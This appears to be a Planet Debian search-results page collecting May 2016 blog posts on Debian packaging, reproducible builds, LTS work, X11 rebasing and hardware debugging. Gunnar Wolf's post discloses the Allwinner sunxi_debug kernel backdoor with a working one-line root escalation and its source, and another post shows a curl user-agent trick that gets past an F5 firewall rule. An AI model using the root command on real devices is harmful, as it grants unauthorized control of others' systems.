Search Results: "ron"

23 May 2016

Daniel Pocock: PostBooks, PostgreSQL and pgDay.ch talk

PostBooks 4.9.5 was recently released and the packages for Debian (including jessie-backports), Ubuntu and Fedora have been updated. Postbooks at pgDay.ch in Rapperswil, Switzerland pgDay.ch is coming on Friday, 24 June. It is at the HSR Hochschule f r Technik Rapperswil, at the eastern end of Lake Zurich. I'll be making a presentation about Postbooks in the business track at 11:00. Getting started with accounting using free, open source software If you are not currently using a double-entry accounting system or if you are looking to move to a system that is based on completely free, open source software, please see my comparison of free, open source accounting software. Free and open source solutions offer significant advantages: flexibility, businesses can choose any programmer to modify the code, and use of SQL back-ends, multi-user support and multi-currency support are standard. These are all things that proprietary vendors charge extra money for. Accounting software is the lowest common denominator in the world of business software, people keen on the success of free and open source software may find that encouraging businesses to use one of these solutions is a great way to lay a foundation where other free software solutions can thrive. PostBooks new web and mobile front end xTuple, the team behind Postbooks, has been busy developing a new Web and Mobile front-end for their ERP, CRM and accounting suite, powered by the same PostgreSQL backend as the Linux desktop client. More help is needed to create official packages of the JavaScript dependencies before the Web and Mobile solution itself can be packaged.

Enrico Zini: I chipped in

I clicked on a random link and I found myself again in front of a wired.com popup that wanted to explain to me what I have to think about adblockers. This time I was convinced, and I took my wallet out. I finally donated $35 to AdBlock. (And then somebody pointed me to uBlock Origin and I switched to that.)

22 May 2016

Reproducible builds folks: Reproducible builds: week 56 in Stretch cycle

What happened in the Reproducible Builds effort between May 15th and May 21st 2016: Media coverage Blog posts from our GSoC and Outreachy contributors: Documentation update Ximin Luo clarified instructions on how to set SOURCE_DATE_EPOCH. Toolchain fixes Other upstream fixes Packages fixed The following 18 packages have become reproducible due to changes in their build dependencies: abiword angband apt-listbugs asn1c bacula-doc bittornado cdbackup fenix gap-autpgrp gerbv jboss-logging-tools invokebinder modplugtools objenesis pmw r-cran-rniftilib x-loader zsnes The following packages have become reproducible after being fixed: Some uploads have fixed some reproducibility issues, but not all of them: Patches submitted that have not made their way to the archive yet: Reproducibility-related bugs filed: Package reviews 51 reviews have been added, 19 have been updated and 15 have been removed in this week. 22 FTBFS bugs have been reported by Chris Lamb, Santiago Vila, Niko Tyni and Daniel Schepler. tests.reproducible-builds.org Misc. This week's edition was written by Reiner Herrmann and Holger Levsen and reviewed by a bunch of Reproducible builds folks on IRC.

21 May 2016

Petter Reinholdtsen: French edition of Lawrence Lessigs book Cultura Libre on Amazon and Barnes & Noble

A few weeks ago the French paperback edition of Lawrence Lessigs 2004 book Cultura Libre was published. Today I noticed that the book is now available from book stores. You can now buy it from Amazon ($19.99), Barnes & Noble ($?) and as always from Lulu.com ($19.99). The revenue is donated to the Creative Commons project. If you buy from Lulu.com, they currently get $10.59, while if you buy from one of the book stores most of the revenue go to the book store and the Creative Commons project get much (not sure how much less). I was a bit surprised to discover that there is a kindle edition sold by Amazon Digital Services LLC on Amazon. Not quite sure how that edition was created, but if you want to download a electronic edition (PDF, EPUB, Mobi) generated from the same files used to create the paperback edition, they are available from github.

19 May 2016

Antoine Beaupr : My free software activities, May 2016

Debian Long Term Support (LTS) This is my 6th month working on Debian LTS, started by Raphael Hertzog at Freexian. This is my largest month so far, for which I had requested 20 hours of work.

Xen work I spent the largest amount of time working on the Xen packages. We had to re-roll the patches because it turned out we originally just imported the package from Ubuntu as-is. This was a mistake because that package forked off the Debian packaging a while ago and included regressions in the packaging itself, not just security fixes. So I went ahead and rerolled the whole patchset and tested it on Koumbit's test server. Brian May then completed the uploaded, which included about 40 new patches, mostly from Ubuntu.

Frontdesk duties Next up was the frontdesk duties I had taken this week. This was mostly uneventful, although I had forgotten how to do some of the work and thus ended up doing extensive work on the contributor's documentation. This is especially important since new contributors joined the team! I also did a lot of Debian documentation work in my non-sponsored work below. The triage work involved chasing around missing DLAs, triaging away OpenJDK-6 (for which, let me remind you, security support has ended in LTS), raised the question of Mediawiki maintenance.

Other LTS work I also did a bunch of smaller stuff. Of importance, I can note that I uploaded two advisories that were pending from April: NSS and phpMyAdmin. I also reviewed the patches for the ICU update, since I built the one for squeeze (but didn't have time to upload before squeeze hit end-of-life). I have tried to contribute to the NTP security support but that was way too confusing to me, and I have left it to the package maintainer which seemed to be on top of things, even if things mean complete chaos and confusion in the world of NTP. I somehow thought that situation had improved with the recent investments in ntpsec and ntimed, but unfortunately Debian has not switched to the ntpsec codebase, so it seems that the NTP efforts have diverged in three different projects instead of closing into a single, better codebase.

Future LTS work This is likely to be my last month of work on LTS until September. I will try to contribute a few hours in June, but July and August will be very busy for me outside of Debian, so it's unlikely that I contribute much to the project during the summer. My backlog included those packages which might be of interest to other LTS contributors:
  • libxml2: no upstream fix, but needs fixing!
  • tiff ,3 : same mess
  • libgd2: maintainer contacted
  • samba regression: mailed bug #821811 to try to revive the effort
  • policykit-1: to be investigated
  • p7zip: same

Other free software work

Debian documentation I wrote an detailed short guide to Debian package development, something I felt was missing from the existing corpus, which seems to be too focus in covering all alternatives. My guide is opinionated: I believe there is a right and wrong way of doing things, or at least, there are best practices, especially when just patching packages. I ended up retroactively publishing that as a blog post - now I can simply tag an item with blog and it shows up in the blog. (Of course, because of a mis-configuration on my side, I have suffered from long delays publishing to Debian planet, so all the posts dates are off in the Planet RSS feed. This will hopefully be resolved around the time this post is published, but this allowed me to get more familiar with the Planet Venus software, as detailed in that other article.) Apart from the guide, I have also done extensive research to collate information that allowed me to create workflow graphs of the various Debian repositories, which I have published in the Debian Release section of the Debian wiki. Here is the graph: It helps me understand how packages flow between different suites and who uploads what where. This emerged after I realized I didn't really understand how "proposed updates" worked. Since we are looking at implementing a similar process for the security queue, I figured it was useful to show what changes would happen, graphically. I have also published a graph that describes the relations between different software that make up the Debian archive. The idea behind this is also to provide an overview of what happens when you upload a package in the Debian archive, but it is more aimed at Debian developers trying to figure out why things are not working as expected. The graphs were done with Graphviz, which allowed me to link to various components in the graph easily, which is neat. I also prefered Graphviz over Dia or other tools because it is easier to version and I don't have to bother (too much) about the layout and tweaking the looks. The downside is, of course, that when Graphviz makes the wrong decision, it's actually pretty hard to make it do the right thing, but there are various workarounds that I have found that made the graphs look pretty good. The source is of course available in git but I feel all this documentation (including the guide) should go in a more official document somewhere. I couldn't quite figure out where. Advice on this would be of course welcome.

Ikiwiki I have made yet another plugin for Ikiwiki, called irker, which enables wikis to send notifications to IRC channels, thanks to the simple irker bot. I had trouble with Irker in the past, since it was not quite reliable: it would disappear from channels and not return when we'd send it a notification. Unfortunately, the alternative, the KGB bot is much heavier: each repository needs a server-side, centralized configuration to operate properly. Irker's design is simpler and more adapted to a simple plugin like this. Let's hope it will work reliably enough for my needs. I have also suggested improvements to the footnotes styles, since they looked like hell in my Debian guide. It turns out this was an issue with the multimarkdown plugin that doesn't use proper semantic markup to identify footnotes. The proper fix is to enable footnotes in the default Discount plugin, which will require another, separate patch. Finally, I have done some improvements (I hope!) on the layout of this theme. I made the top header much lighter and transparent to work around an issue where followed anchors would be hidden under the top header. I have also removed the top menu made out of the sidebar plugin because it was cluttering the display too much. Those links are all on the frontpage anyways and I suspect people were not using them so much. The code is, as before, available in this git repository although you may want to start from the new ikistrap theme that is based on Bootstrap 4 and that may eventually be merged in ikiwiki directly.

DNS diagnostics Through this interesting overview of various *ping tools, I got found out about the dnsdiag tool which currently allows users to do DNS traces, tampering detection and ping over DNS. In the hope of packaging it into Debian, I have requested clarifications regarding a modification to the DNSpython library the tool uses. But I went even further and boldly opened a discussion about replacing DNSstuff, the venerable DNS diagnostic tools that is now commercial. It is somewhat surprising that there is no software that has even been publicly released that does those sanity checks for DNS, given how old DNS is. Incidentally, I have also requested smtpping to be packaged in Debian as well but httping is already packaged.

Link checking In the process of writing this article, I suddenly remembered that I constantly make mistakes in the various links I post on my site. So I started looking at a link checker, another tool that should be well established but that, surprisingly, is not quite there yet. I have found this neat software written in Python called LinkChecker. Unfortunately, it is basically broken in Debian, so I had to do a non-maintainer upload to fix that old bug. I managed to force myself to not take over maintainership of this orphaned package but I may end up doing just that if no one steps up the next time I find issues in the package. One of the problems I had checking links in my blog is that I constantly refer to sites that are hostile to bots, like the Debian bugtracker and MoinMoin wikis. So I published a patch that adds a --no-robots flag to be able to crawl those sites effectively. I know there is the W3C tool but it's written in Perl, and there's probably zero chance for me to convince those guys to bypass robots exclusion rules, so I am sticking to Linkchecker.

Other Debian packaging work At my request, Drush has finally been removed from Debian. Hopefully someone else will pick up that work, but since it basically needs to be redone from scratch, there was no sense in keeping it in the next release of Debian. Similarly, Semanticscuttle was removed from Debian as well. I have uploaded new versions of tuptime, sopel and smokeping. I have also file a Request For Help for Smokeping. I am happy to report there was a quick response and people will be stepping up to help with the maintenance of that venerable monitoring software.

Background radiation Finally, here's the generic background noise of me running around like a chicken with his head cut off: Finally, I should mention that I will be less active in the coming months, as I will be heading outside as the summer finally came! I somewhat feel uncomfortable documenting publicly my summer here, as I am more protective of my privacy than I was before on this blog. But we'll see how it goes, maybe you'll hear non-technical articles here again soon!

Valerie Young: Summer of Reproducible Builds

Hello friend, family, fellow Outreachy participants, and the Debian community!
This blog's primary purpose will be to track the progress of the Outreachy project in which I'm participating this summer    This post is to introduce myself and my project (working on the Debian reproducible builds project).
What is Outreachy? You might not know! Let me empower you: Outreachy is an organization connecting woman and minorities to mentors in the free (as in freedom) software community, /and/ funding for three months to work with the mentors and contribute to a free software project.  If you are a woman or minority human that likes free software, or if you know anyone in this situation, please tell them about Outreachy   Or put them in touch with me, I'd happily tell them more.
So who am I?
My name is Valerie Young. I live in the Boston Metropolitan Area (any other outreachy participants here?) and hella love free software. 
Some bullet pointed Val facts in rough reverse chronological order:
- I run Debian but only began contributing during the Outreachy application process
- If you went to DebConf2015, you might have seen me dye nine people's hair blue, blond or Debian swirl.
- If you stop through Boston I could be easily convinced to dye your hair.
- I worked on electronic medical records web application for the last two years (lotsa Javascriptin' and Perlin' at athenahealth)
- Before that I taught a programming summer program at University of Moratuwain Sri Lanka.
- Before that I got a degrees in physics and computer science at Boston University.
- At BU I helped start a hackerspace where my interest in technology, free software, hacker culture, anarchy, the internet all began.
- I grew up in the very fine San Francisco Bay Area.
What will I be working on?
Reproducible builds!
In the near future I'll write a  What is reproducible builds? Why is it so hot right now?  post.  For now, from a high (and not technical) level, reproducible builds is a broad effort to verify that the computer executable binary programs you run on your computer come from the human readable source code they claim to. It is not presently /impossible/ to do this verification, but it's not easy, and there are a lot of nuanced computer quirks that make it difficult for the most experienced programmer and straight-up impossible for a user with no technical expertise. And without this ability to verify -- the state we are in now -- any executable piece of software could be hiding secret code. 
The first step towards the goal of verifiability is to make reproducibility a essential part of software development. Reproducible builds means this: when you compile a program from the source code, it should always be identical, bit by bit. If the program is always identical, you can compare your version of the software to any trusted programmer with very little effort. If it is identical, you can trust it -- if it's not, you have reason to worry.
The Debian project is undergoing an effort to make the entire Debian operating system verifiable reproducible (hurray!). My outreachy-funded summer contribution involves the improving and updating tests.reproducible-builds.org   a site that presently presently surfaces the results of reproducibility testing of several free software projects (including Debian, Fedora, coreboot, OpenWrt, NetBSD, FreeBSD and ArchLinux). However, the design of test.r-b.org is a bit confusing, making it difficult for a user to find how to check on the reproducibility of a given package for one of the aforementioned projects, or understand the reasons for failure. Additional, the backend test results of Debian are outgrowing the original SQLite database, and many projects do not log the results of package testing at all. I hope, by the end of the summer, we'll have a more beefed-out and pretty site as well as better organized backend data  
This summer there will be 3 other Outreachy participants working on the Debian reproducible builds project! Check out their blogs/projects:
Scarlett
Satyam
Ceridwen
Thanks to our Debian mentors -- Lunar, Holger Levsen, and Mattia Rizzolo -- for taking us on   

Reproducible builds folks: Improving the process for testing build reproducibility

Author: ceridwen Hi! I'm Ceridwen. I'm going to be one of the Outreachy interns working on Reproducible Builds for the summer of 2016. My project is to create a tool, tentatively named reprotest, to make the process of verifying that a build is reproducible easier. The current tools and the Reproducible Builds site have limits on what they can test, and they're not very user friendly. (For instance, I ended up needing to edit the rebuild.sh script to run it on my system.) Reprotest will automate some of the busywork involved and make it easier for maintainers to test reproducibility without detailed knowledge of the process involved. A session during the Athens meeting outlines some of the functionality and command-line and configuration file API goals for reprotest. I also intend to use some ideas, and command-line and config processing boilerplate, from autopkgtest. Reprotest, like autopkgtest, should be able to interface with more build environments, such as schroot and qemu. Both autopkgtest and diffoscope, the program that the Reproducible Builds project uses to check binaries for differences, are written in Python, and as Python is the scripting language I'm most familiar with, I will be writing reprotest in Python too. One of my major goals is to get a usable prototype released in the first three to four weeks. At that point, I want to try to solicit feedback (and any contributions anyone wants to make!). One experience I've had in open source software is that connecting people with software they might want to use is often the hardest part of a project. I've reimplemented existing functionality myself because I simply didn't know that someone else had already written something equivalent, and seen many other people do the same. Once I have the skeleton fleshed out, I'm going to be trying to find and reach out to any other communities, outside the Debian Reproducible Builds project itself, who might find reprotest useful.

17 May 2016

Mike Gabriel: NXv3 Rebase: Build nxagent against X.org 7.0

As already hinted in my previous blog post, here comes a short howto that explains how to test-build nxagent (v3) against a modularized X.org 7.0 source tree. WARNING: Please note that mixing NX code and X.org code partially turns the original X.org code base into GPL-2 code. We are aware of this situation and work on moving all NXv3 related GPL-2 code into the nxagent DDX code (xserver-xorg/hw/nxagent) or--if possible--dropping it completely. The result shall be a range of patches against X.org (licensable under the same license as the respective X.org files) and a GPL-2 licensed DDX (i.e. nxagent). How to build this project For the Brave and Playful
$ git clone https://git.arctica-project.org/nx-X11-rebase/build.git .
$ bash populate.sh sources.lst
$ ./buildit.sh
You can find the built tree in the _install/ sub-directory. Please note that cloning Git repositories over the https protocol can be considerably slow. If you want to speed things up, consider signing up with our GitLab server. For Developers... ... who have registered with our GitLab server.
$ git clone git@git.arctica-project.org:nx-X11-rebase/build.git .
$ bash populate.sh sources-devs.lst
$ ./buildit.sh
You will find the built tree in the _install/ sub-directory. The related git repositories are in the repos/ sub-directory. All repos modified for NX have been cloned from the Arctica Project's GitLab server via SSH. Thus, you as a developer can commit changes on those repos and push back your changes to the GitLab server. Required tools for building Debian/Ubuntu and alike In a one-liner command:
$ sudo apt-get install build-essential automake gawk git pkg-config libtool libz-dev libjpeg-dev libpng-dev
Fedora If someone tries this out in a clean Fedora chroot environment, please let us know about build dependent packages. openSUSE If someone tries this out in a clean openSUSE chroot environment, please let us know about build dependent packages. Testing the built nxagent and nxproxy The tests/ subdir contains some scripts which can be used to test the compile results. Notes on required X.org changes (NX_MODIFICATIONS) For this build workflow to work, we (i.e. mostly Ulrich Sibiller) had to work several NoMachine patches into original X.org 7.0 code. Here is a list of modified X11 components with URLs pointing to the branch containing those changes:
xkbdata                            xorg/data/xkbdata                       rebasenx  1.0.1     https://git.arctica-project.org/nx-X11-rebase/xkbdata.git
libfontenc                         xorg/lib/libfontenc                     rebasenx  1.0.1     https://git.arctica-project.org/nx-X11-rebase/libfontenc.git
libSM                              xorg/lib/libSM                          rebasenx  1.0.0     https://git.arctica-project.org/nx-X11-rebase/libSM.git
libX11                             xorg/lib/libX11                         rebasenx  1.0.0     https://git.arctica-project.org/nx-X11-rebase/libX11.git
libXau                             xorg/lib/libXau                         rebasenx  1.0.0     https://git.arctica-project.org/nx-X11-rebase/libXau.git
libXfont                           xorg/lib/libXfont                       rebasenx  1.3.1     https://git.arctica-project.org/nx-X11-rebase/libXfont.git
libXrender                         xorg/lib/libXrender                     rebasenx  0.9.0.2   https://git.arctica-project.org/nx-X11-rebase/libXrender.git
xtrans                             xorg/lib/libxtrans                      rebasenx  1.0.0     https://git.arctica-project.org/nx-X11-rebase/libxtrans.git
kbproto                            xorg/proto/kbproto                      rebasenx  1.0.2     https://git.arctica-project.org/nx-X11-rebase/kbproto.git
xproto                             xorg/proto/xproto                       rebasenx  7.0.4     https://git.arctica-project.org/nx-X11-rebase/xproto.git
xorg-server                        xorg/xserver                            rebasenx  1.0.1     https://git.arctica-project.org/nx-X11-rebase/xserver.git
mesa                               mesa/mesa                               rebasenx  6.4.1     https://git.arctica-project.org/nx-X11-rebase/mesa.git
Credits Nearly all of this has been achieved by Ulrich Sibiller. Thanks a lot for giving your time and energy to that. As the rebasing of NXv3 is currently a funded project supported by the Qindel Group, we are currently negotiating ways of monetarily appreciating Ulrich's intensive work on this. Thanks a lot, once more!!! Feedback If anyone of you feels like trying out the test build as described above, please consider signing up with the Arctica Project's GitLab server and reporting your issues there directly (against the repository nx-X11-rebase/build). Alternatively, feel free to contact us on IRC (Freenode): #arctica or subscribe to our developers' mailing list. Thank you. light+love
Mike Gabriel

Raphaël Hertzog: Freexian s report about Debian Long Term Support, April 2016

A Debian LTS logoLike each month, here comes a report about the work of paid contributors to Debian LTS. Individual reports In April, 116.75 work hours have been dispatched among 9 paid contributors. Their reports are available: Many contributors did not use all their allocated hours. This is partly explained by the fact that in April Wheezy was still under the responsibility of the security team and they were not able to drive updates from start to finish. In any case, this means that they have more hours available over May and since the LTS period started, they should hopefully be able to make a good dent in the backlog of security updates. Evolution of the situation The number of sponsored hours reached a new record with 132 hours per month, thanks to two new gold sponsors (Babiel GmbH and Plat Home). Plat Home s sponsorship was aimed to help us maintain Debian 7 Wheezy on armel and armhf (on top of already supported amd64 and i386). Hopefully the trend will continue so that we can reach our objective of funding the equivalent of a full-time position. The security tracker currently lists 45 packages with a known CVE and the dla-needed.txt file lists 44 packages awaiting an update. This is a bit more than the 15-20 open entries that we used to have at the end of the Debian 6 LTS period. Thanks to our sponsors New sponsors are in bold.

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16 May 2016

Russ Allbery: Review: Gentleman Jole and the Red Queen

Review: Gentleman Jole and the Red Queen, by Lois McMaster Bujold
Series: Vorkosigan #15
Publisher: Baen
Copyright: 2015
Printing: February 2016
ISBN: 1-4767-8122-2
Format: Kindle
Pages: 352
This is very late in the Vorkosigan series, but it's also a return to a different protagonist and a change of gears to a very different type of story. Gentleman Jole and the Red Queen has Cordelia as a viewpoint character for, I believe, the first time since Barrayar, very early in the series. But you would still want to read the intermediate Miles books before this one given the nature of the story Bujold is telling here. It's a very character-centric, very quiet story that depends on the history of all the Vorkosigan characters and the connection the reader has built up with them. I think you have to be heavily invested in this series already to get that much out of this book. The protagonist shift has a mildly irritating effect: I've read the whole series, but I was still a bit adrift at times because of how long it's been since I read the books focused on Cordelia. I only barely remember the events of Shards of Honor and Barrayar, which lay most of the foundations of this story. Bujold does have the characters retell them a bit, enough to get vaguely oriented, but I'm pretty sure I missed some subtle details that I wouldn't have if the entire series were fresh in memory. (Oh for the free time to re-read all of the series I'd like to re-read.) Unlike recent entries in this series, Gentleman Jole and the Red Queen is not about politics, investigations, space (or ground) combat, war, or any of the other sources of drama that have shown up over the course series. It's not even about a wedding. The details (and sadly even the sub-genre) are all spoilers, both for this book and for the end of Cryoburn, so I can't go into many details. But I'm quite curious how the die-hard Baen fans would react to this book. It's a bit far afield from their interests. Gentleman Jole is all about characters: about deciding what one wants to do with one's life, about families and how to navigate them, about boundaries and choices. Choices about what to communicate and what not to communicate, and, partly, about how to maintain sufficient boundaries against Miles to keep his manic energy from bulldozing into things that legitimately aren't any of his business. Since most of the rest of the series is about Miles poking into things that appear to not be his business and finding ways to fix things, it's an interesting shift. It also cast Cordelia in a new light for me: a combination of stability, self-assurance, and careful and thoughtful navigation around others' feelings. Not a lot happens in the traditional plot sense, so one's enjoyment of this book lives or dies on one's investment in the mundane life of the viewpoint characters. It worked for me. There is also a substantial retcon or reveal about an aspect of Miles's family that hasn't previously been mentioned. (Which term you use depends on whether you think Bujold has had this in mind all along. My money is on reveal.) I suspect some will find this revelation jarring and difficult to believe, but it worked perfectly for me. It felt like exactly the sort of thing that would go unnoticed by the other characters, particularly Miles: something that falls neatly into his blind spots and assumptions, but reads much differently to Cordelia. In general, one of the joys of this book for me is seeing Miles a bit wrong-footed and maneuvered by someone who simply isn't willing to be pushed by him. One of the questions the Vorkosigan series has been asking since the start is whether anyone can out-maneuver Miles. Ekaterin only arguably managed it, but Gentleman Jole makes it clear that Miles is no match for his mother on her home turf. This is a quiet and slow book that doesn't feel much like the rest of the series, but it worked fairly well for me. It's not up in the ranks of my favorite books of this series, partly because the way it played out was largely predictable and I never quite warmed to Jole, but Cordelia is delightful and seeing Miles from an outside perspective is entertaining. An odd entry in the series, but still recommended. Rating: 7 out of 10

15 May 2016

Sven Hoexter: Failing with F5: ASM default ruleset vs curl

Not sure what to say on days when the default ruleset of a "web application firewall" denies access for curl, and the circumvention is as complicated as:
alias curl-vs-asm="curl -A 'Mozilla'"
It starts to feel like wasting my lifetime when I see something like that. Otherwise I like my job (that's without irony!). Update: Turns out it's even worse. They specifically block curl. Even
curl -A 'A' https://wherever-asm-is-used.example
works.

14 May 2016

Thadeu Lima de Souza Cascardo: Chromebook Trackpad

Three years ago, I wanted to get a new laptop. I wanted something that could run free software, preferably without blobs, with some good amount of RAM, good battery and very light, something I could carry along with a work laptop. And I didn't want to spend too much. I don't want to make this too long, so in the end, I asked in the store anything that didn't come with Windows installed, and before I was dragged into the Macbook section, I shouted "and no Apple!". That's how I got into the Chromebook section with two options before me. There was the Chromebook Pixel, too expensive for me, and the Samsung Chromebook, using ARM. Getting a laptop with an ARM processor was interesting for me, because I like playing with different stuff. I looked up if it would be possible to run something other than ChromeOS on it, got the sense that is, it would, and make a call. It does not have too much RAM, but it was cheap. I got an external HD to compensate for the lack of storage (only 16GB eMMC), and that was it. Wifi does require non-free firmware to be loaded, but booting was a nice surprise. It is not perfect, but I will see if I can get to that another day. I managed to get Fedora installed, downloading chunks of an image that I could write into the storage. After a while, I backed up home, and installed Debian using debootstrap. Recently, after an upgrade from wheezy to jessie, things stopped working. systemd would not mount the most basic partitions and would simply stop very early in the boot process. That's a story on my backlog as well, that I plan to tell soon, since I believe this connects with supporting Debian on mobile devices. After fixing some things, I decided to try libinput instead of synaptics for the Trackpad. The Chromebook uses a Cypress APA Trackpad. The driver was upstreamed in Linux 3.9. The Chrome OS ships with Linux 3.4, but had the driver in its branch. After changing to libinput, I realized clicking did not work. Neither did tapping. I moved back to synaptics, and was reminded things didn't work too well with that either. I always had to enable tapping. I have some experience with input devices. I wrote drivers, small applications reacting to some events, and some uinput userspace drivers as well. I like playing with that subsystem a lot. But I don't have too much experience with multitouch and libinput is kind of new for me too. I got my hands on the code and found out there is libinput-debug-events. It will show you how libinput translates evdev events. I clicked on the Trackpad and got nothing but some pointer movements. I tried evtest and there were some multitouch events I didn't understand too well, but it looked like there were important events there that I thought libinput should have recognized. I tried reading some of libinput code, but didn't get too far before I tried something else. But then, I had to let this exercise for another day. Today, I decided to do it again. Now, with some fresh eyes, I looked at the driver code. It showed support for left, right and middle buttons. But maybe my device doesn't support it, because I don't remember seeing it on evtest when clicking the Trackpad. I also understood better the other multitouch events, they were just saying how many fingers there were and what was the position of which one of them. In the case of a single finger, you still get an identifier. For better understanding of all this, reading Documentation/input/event-codes.txt and Documentation/input/multi-touch-protocol.txt is recommended. So, in trying to answer if libinput needs to handle my devices events properly, or handle my device specially, or if the driver requires changes, or what else I can do to have a better experience with this Trackpad, things were tending to the driver and device. Then, after running evtest, I noticed a BTN_LEFT event. OK, so the device and driver support it, what is libinput doing with that? Running evtest and libinput-debug-events at the same time, I found out the problem. libinput was handling BTN_LEFT correctly, but the driver was not reporting it all the time. By going through the driver, it looks like this is either a firmware or a hardware problem. When you get the click response, sound and everything, the drivers will not always report it. It could be pressure, eletrical contact, I can't tell for sure. But the driver does not check for anything but what the firmware has reported, so it's not the driver. A very interesting I found out is that you can read and write the firmware. I dumped it to a file, but still could not analyze what it is. There are some commands to put the driver into some bootloader state, so maybe it's possible to play with the firmware without bricking the device, though I am not sure yet. Even then, the problem might not be fixable by just changing the firmware. So, I left with the possibility of using tapping, which was not working with libinput. Grepping at the code, I found out by libinput documentation that tapping needs to be enabled. The libinput xorg driver supports that. Just set the Tapping option to true and that's it. So, now I am a happy libinput user, with some of the same issues I had before with synaptics, but something you get used to. And I have a new firmware in front of me that maybe we could tackle by some reverse engineering.

Gunnar Wolf: Debugging backdoors and the usual software distribution for embedded-oriented systems

In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed. Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux. In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingenier a, UNAM. It has been quite successful And fun. Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony. As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system: Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work! Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it. So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right? Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel. This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:
  1. Debian GNU/Linux 8 bananapi ttyS0
  2. banana login: gwolf
  3. Password:
  4. Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
  5. Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
  6. The programs included with the Debian GNU/Linux system are free software;
  7. the exact distribution terms for each program are described in the
  8. individual files in /usr/share/doc/*/copyright.
  9. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  10. permitted by applicable law.
  11. gwolf@banana:~$ id
  12. uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
  13. gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
  14. gwolf@banana:~$ id
  15. groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)
Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):
  1. if(!strncmp("rootmydevice",(char*)buf,12))
  2. cred = (struct cred *)__task_cred(current);
  3. cred->uid = 0;
  4. cred->gid = 0;
  5. cred->suid = 0;
  6. cred->euid = 0;
  7. cred->euid = 0;
  8. cred->egid = 0;
  9. cred->fsuid = 0;
  10. cred->fsgid = 0;
  11. printk("now you are root\n");
Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work. Anyway, enough said by me. Some other sources of information: There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)

13 May 2016

Norbert Preining: TeX Live 2016 (pretest) hits Debian/unstable

The sources of TeX Live binaries are now (hopefully) frozen, and barring unpleasant surprises, these will be code going into the final release (one fix for luatex is coming, though). Thus, I thought it is time to upload TeX Live 2016 packages to Debian/unstable to expose them to a wider testing area packages in experimental receive hardly any testing. texlive-2016-debian-pretest The biggest changes are with Luatex, where APIs were changed fundamentally and practically each package using luatex specific code needs to be adjusted. Most of the package authors have already uploaded fixed versions to CTAN and thus to TeX Live, but some are surely still open. I have taken the step to provide driver files for pgf and pgfplots to support pgf with luatex (as I need it myself). One more thing to be mentioned is that the binaries finally bring support for reproducible builds by supporting the SOURCE_DATE_EPOCH environment variable. Please send bug reports, suggestions, and improvements (patches welcome!) to improve the quality of the packages. In particular, lintian complains a lot about various man page problems. If someone wants to go through all that it would help a lot. Details on request. Other than that, many packages have been updated or added since the last Debian packages, here are the incomplete lists (I had accidentally deleted the tlmgr.log file at some point): new: acmart, chivo, coloring, dvisvgm-def, langsci, makebase, pbibtex-base, platex, ptex-base, ptex-fonts, rosario, uplatex, uptex-base, uptex-fonts. updated: achemso, acro, arabluatex, arydshln, asymptote, babel-french, biblatex-ieee, bidi, bookcover, booktabs, bxjscls, chemformula, chemmacros, cslatex, csplain, cstex, dtk, dvips, epspdf, fibeamer, footnotehyper, glossaries, glossaries-extra, gobble, graphics, gregoriotex, hyperref, hyperxmp, jadetex, jslectureplanner, koma-script, kpathsea, latex-bin, latexmk, lollipop, luaotfload, luatex, luatexja, luatexko, mathastext, mcf2graph, mex, microtype, msu-thesis, m-tx, oberdiek, pdftex, pdfx, pgf, pgfplots, platex, pmx, pst-cie, pst-func, pst-ovl, pst-plot, ptex, ptex-fonts, reledmac, shdoc, substances, tasks, tetex, tools, uantwerpendocs, ucharclasses, uplatex, uptex, uptex-fonts, velthuis, xassoccnt, xcolor, xepersian, xetex, xgreek, xmltex. Enjoy.

12 May 2016

Antoine Beaupr : Notmuch, offlineimap and Sieve setup

